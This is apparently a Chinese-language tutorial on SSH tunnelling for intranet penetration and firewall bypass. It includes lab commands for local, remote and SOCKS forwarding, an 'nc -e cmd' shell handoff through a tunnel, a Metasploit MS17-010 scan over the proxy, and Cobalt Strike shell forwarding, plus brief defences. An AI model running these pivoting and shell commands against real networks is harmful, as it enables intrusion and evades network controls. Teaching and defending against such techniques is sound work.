ssh隧道技术在实战中的使用
字数 1196
更新时间 2025-08-25 22:58:29

SSH隧道技术实战指南

一、SSH隧道概述

SSH隧道技术利用SSH协议在内网穿透和防火墙绕过中的优势:

  • 几乎所有Linux服务器和网络设备都支持SSH协议
  • SSH协议通常被允许通过防火墙和边界设备
  • 传输过程加密,难以区分合法会话和攻击隧道
  • 可建立原本无法建立的TCP连接

二、SSH隧道核心参数

常用参数说明:

  • -C:压缩传输,提高速度
  • -f:转入后台执行
  • -N:建立静默连接
  • -g:允许远程主机连接本地转发端口
  • -L:本地端口转发
  • -R:远程端口转发
  • -D:动态转发(SOCKS代理)
  • -P:指定SSH端口

三、本地端口转发

1. 基本应用场景

  • 外部VPS可访问内网Web服务器
  • 内网Web服务器可访问数据库服务器
  • 目标:通过Web服务器跳板访问数据库3389端口

2. 配置步骤

  1. 修改SSH服务器配置(/etc/ssh/sshd_config):

    PermitRootLogin yes
    Port 22
    PasswordAuthentication yes
    service ssh restart
    
  2. 建立本地转发隧道:

    ssh -fCNg -L <本地端口>:<目标IP>:<目标端口> <用户名>@<SSH服务器> -p <SSH端口>
    示例:
    ssh -fCNg -L 1153:192.168.190.136:3389 root@192.168.174.133 -p 22
    
  3. 验证端口监听:

    netstat -anptl | grep 1153
    
  4. 连接使用:

    rdesktop 127.0.0.1:1153
    

3. 加密传输案例

环境:

  • Linux1(192.168.190.110)
  • Linux2(192.168.190.133)
  • Win7(192.168.190.136)
  • Win2008(192.168.190.132)

操作流程:

  1. Linux1执行:

    ssh -fCNg -L 7006:192.168.190.136:333 root@192.168.190.133 -p 22
    
  2. Win7监听:

    nc -lvp 333
    
  3. Win2008连接:

    nc.exe 192.168.190.110 7006 -e cmd
    

四、远程端口转发

1. 应用场景

  • 外网VPS无法直接访问内网
  • 内网Web服务器可访问外网VPS
  • 目标:通过Web服务器跳板访问数据库3389端口

2. 操作步骤

  1. Web服务器执行:

    ssh -fNg -R <VPS端口>:<内网IP>:<内网端口> <VPS用户>@<VPS_IP> -p <VPS_SSH端口>
    示例:
    ssh -fCNg -R 1521:192.168.190.136:3389 root@192.168.190.110
    
  2. VPS验证监听:

    netstat -anptl | grep 1521
    
  3. 连接使用:

    rdesktop 127.0.0.1:1521
    

五、动态转发(SOCKS代理)

1. 建立动态隧道

ssh -fCNg -D <本地端口> <用户名>@<SSH服务器>
示例:
ssh -fCNg -D 7000 root@192.168.174.133

2. 验证监听

netstat -anptl | grep 7000

3. 浏览器配置

设置网络代理为SOCKS5,地址127.0.0.1,端口7000

4. Metasploit结合使用

msfconsole -q
setg proxies socks5:192.168.174.130:7000
use auxiliary/scanner/smb/smb_ms17_010
set rhosts 192.168.190.132
set threads 10
run

六、X协议转发

1. 远程GUI访问

ssh -X root@192.168.199.165 -p 53

2. 使用图形化工具

ssh -X root@192.168.199.165

七、实战高级应用

1. CS Shell转发

  1. 修改VPS SSH配置:

    AllowTcpForwarding yes
    GatwayPorts yes
    TCPKeepAlive yes
    PasswordAuthentication yes
    
  2. 建立隧道:

    ssh -CfNg -R 1.1.1.1:3306:192.168.174.130:3306 root@1.1.1.1 -p 1521
    
  3. 将CS Shell委派到VPS 3306端口

八、防御措施

  1. SSH访问控制:

    • 配置SSH远程管理白名单
    • ACL限制特定IP连接SSH
    • 完全使用带外管理
  2. 监控措施:

    • 监控异常SSH连接
    • 审计SSH日志
    • 限制SSH端口转发权限

九、技术总结

转发类型 命令格式 数据流向 典型应用
本地转发 -L 本地→远程→目标 访问内网服务
远程转发 -R 远程→本地→目标 内网穿透
动态转发 -D SOCKS代理 全局代理访问
X转发 -X GUI转发 远程图形界面

通过合理配置SSH隧道,可以实现灵活的内网穿透和加密通信,但同时也需注意安全风险,做好防御措施。

相似文章
相似文章
 全屏